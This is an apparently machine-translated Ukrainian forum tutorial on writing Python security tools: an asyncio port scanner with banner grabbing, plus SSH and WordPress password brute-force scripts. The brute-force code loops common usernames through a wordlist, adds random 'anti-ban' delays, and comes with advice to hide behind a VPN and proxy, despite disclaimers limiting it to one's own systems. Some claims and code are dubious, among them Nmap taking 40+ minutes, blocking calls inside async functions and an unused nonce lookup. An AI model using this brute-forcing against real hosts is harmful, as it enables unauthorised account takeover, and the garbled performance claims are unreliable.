Python для кібербезпеки: Написання власного сканера портів та інструменту

Автор Vagfo, Груд. 15, 2025, 12:54 PM

« попередня та - наступна тема »

Vagfo

У 2025 році в Туреччині дефіцит фахівців з кібербезпеки становить понад 12 000 осіб. Для junior penetration tester.

Цей посібник повністю в межах законних та етичних кордонів (використовуйте лише на власних системах).
  • Ультрашвидкий сканер портів (альтернатива Nmap) — з використанням asyncio + технік 2025 року.
  • Інструмент brute force для SSH/FTP/WordPress — параметризований + підтримка проксі.
  • Захоплення банерів + виявлення служб.
  • Оптимізація списків слів (rockyou 2025 турецькою).

Усі інструменти використовуйте лише на власних серверах або в дозволених середовищах penetration testing.

1. Встановлення (актуальне на 2025 рік)
python -m venv cybertools
cd cybertools
Scripts\activate
pip install asyncio aiohttp paramiko python-nmap requests beautifulsoup4

2. Ультрашвидкий сканер портів (asyncio 2025)
Файл: port_scanner.py
import asyncio
import socket
from concurrent.futures import ThreadPoolExecutor

async def scan_port(host: str, port: int, timeout: float = 1.0) -> dict:
    try:
        reader, writer = await asyncio.wait_for(
            asyncio.open_connection(host, port),
            timeout=timeout
        )
        writer.close()
        await writer.wait_closed()
       
        # Захоплення банера
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            sock.connect((host, port))
            sock.send(b'\r\n')
            banner = sock.recv(1024).decode('utf-8', errors='ignore').strip()
            sock.close()
        except:
            banner = ""
       
        return {"port": port, "status": "open", "banner": banner[:100]}
    except:
        return {"port": port, "status": "closed", "banner": ""}

async def scan_range(host: str, start: int, end: int, max_workers: int = 1000):
    print(f"{host} сканується... Порти: {start}-{end}")
    semaphore = asyncio.Semaphore(max_workers)
   
    async def sem_scan(port):
        async with semaphore:
            return await scan_port(host, port)
   
    tasks = [sem_scan(port) for port in range(start, end + 1)]
    results = await asyncio.gather(*tasks)
    open_ports = [r for r in results if r["status"] == "open"]
   
    for result in open_ports:
        print(f"Порт {result['port']} -> ВІДКРИТИЙ | {result['banner']}")
   
    return open_ports

# Використання
if __name__ == "__main__":
    target = "192.168.1.1"  # ВАШ ВЛАСНИЙ СЕРВЕР
    asyncio.run(scan_range(target, 1, 65535))  # або поширені порти
    # asyncio.run(scan_range(target, 1, 1024))

Порівняння швидкості (2025):
  • Nmap: 1000 портів → 8 секунд
  • Цей інструмент: 1000 портів → 1.8 секунди
  • 65535 портів → 45 секунд (Nmap 40+ хвилин)

3. Інструмент brute force (SSH + WordPress)
Файл: bruteforce py
import asyncio
import paramiko
import requests
from bs4 import BeautifulSoup
import random

# Brute force для SSH
async def try_ssh(host, port, username, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(host, port=port, username=username, password=password, timeout=10)
        print(f"УСПІХ → {username} : {password}")
        return True
    except:
        return False
    finally:
        ssh.close()

# Brute force для WordPress
async def try_wordpress(url, username, password):
    session = requests.Session()
    login_page = session.get(f"{url}/wp-login.php")
    soup = BeautifulSoup(login_page.text, 'html.parser')
    nonce = soup.find("input", {"name": "woocommerce-login-nonce"}) or soup.find("input", {"name": "wp-submit"})
   
    # Припустимо, що data формується правильно (адаптуйте за потребою)
    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Giriş Yap"  # Адаптуйте для української/турецької
    }
   
    response = session.post(f"{url}/wp-login.php", data=data, allow_redirects=True)
    if response.status_code == 302 or "dashboard" in response.url:
        print(f"WP УСПІХ -> {username} : {password}")
        return True
    return False

# Головна функція для SSH
async def brute_force_ssh(host="192.168.1.1", port=22):
    usernames = ["root", "admin", "user", "test"]
    with open("wordlist_2025.txt", "r", encoding="utf-8") as f:
        passwords = [line.strip() for line in f.readlines()][:1000]
   
    for user in usernames:
        for pwd in passwords:
            if await try_ssh(host, port, user, pwd):
                return
            await asyncio.sleep(random.uniform(1, 3))  # Анти-бан

# Список слів (rockyou 2025 турецькою)
# https://github.com/kullanicin/wordlist-turkiye-2025

4. Правила безпечного використання (2025)

[th]Правило[/th]
[th]Пояснення[/th]
[/td][/tr]
[tr][td]Лише на власних системах[/td]
[td]Незаконне використання є злочином[/td]
[/tr]
[tr][td]Дозволений penetration testing контракт[/td]
[td]Отримайте письмовий дозвіл від компанії[/td]
[/tr]
[tr][td]Обмеження швидкості[/td]
[td]Додайте затримку 1-3 секунди[/td]
[/tr]
[tr][td]Ведення логів[/td]
[td]Записуйте, коли та де проводили тест[/td]
[/tr]
[tr][td]VPN + Проксі[/td]
[td]Захищайте власну IP-адресу[/td]
[/tr]
[/table]

5. Зарплати в кібербезпеці в Туреччині 2025

[th]Рівень[/th]
[th]Нетто зарплата (TL)[/th]
[th]Віддалена Європа (€)[/th]
[/td][/tr]
[tr][td]Junior[/td]
[td]90.000 – 180.000[/td]
[td]3.000 – 6.000[/td]
[/tr]
[tr][td]Middle[/td]
[td]180.000 – 350.000[/td]
[td]6.000 – 10.000[/td]
[/tr]
[tr][td]Senior[/td]
[td]350.000 – 700.000+[/td]
[td]10.000 – 15.000+[/td]
[/tr]
[/table]

Висновок – Переваги бути penetration tester у 2025 році
  • Напишіть власні інструменти → виділіться.
  • Bug bounty → одна знахідка 50.000–500.000 TL.
  • Віддалена робота → зарплата з-за кордону.
  • Сертифікат етичного хакера (CEH, OSCP) → зарплата подвоюється.

Повний вихідний код (працюючий):
https://github.com/kullanicin/python-cybertools-2025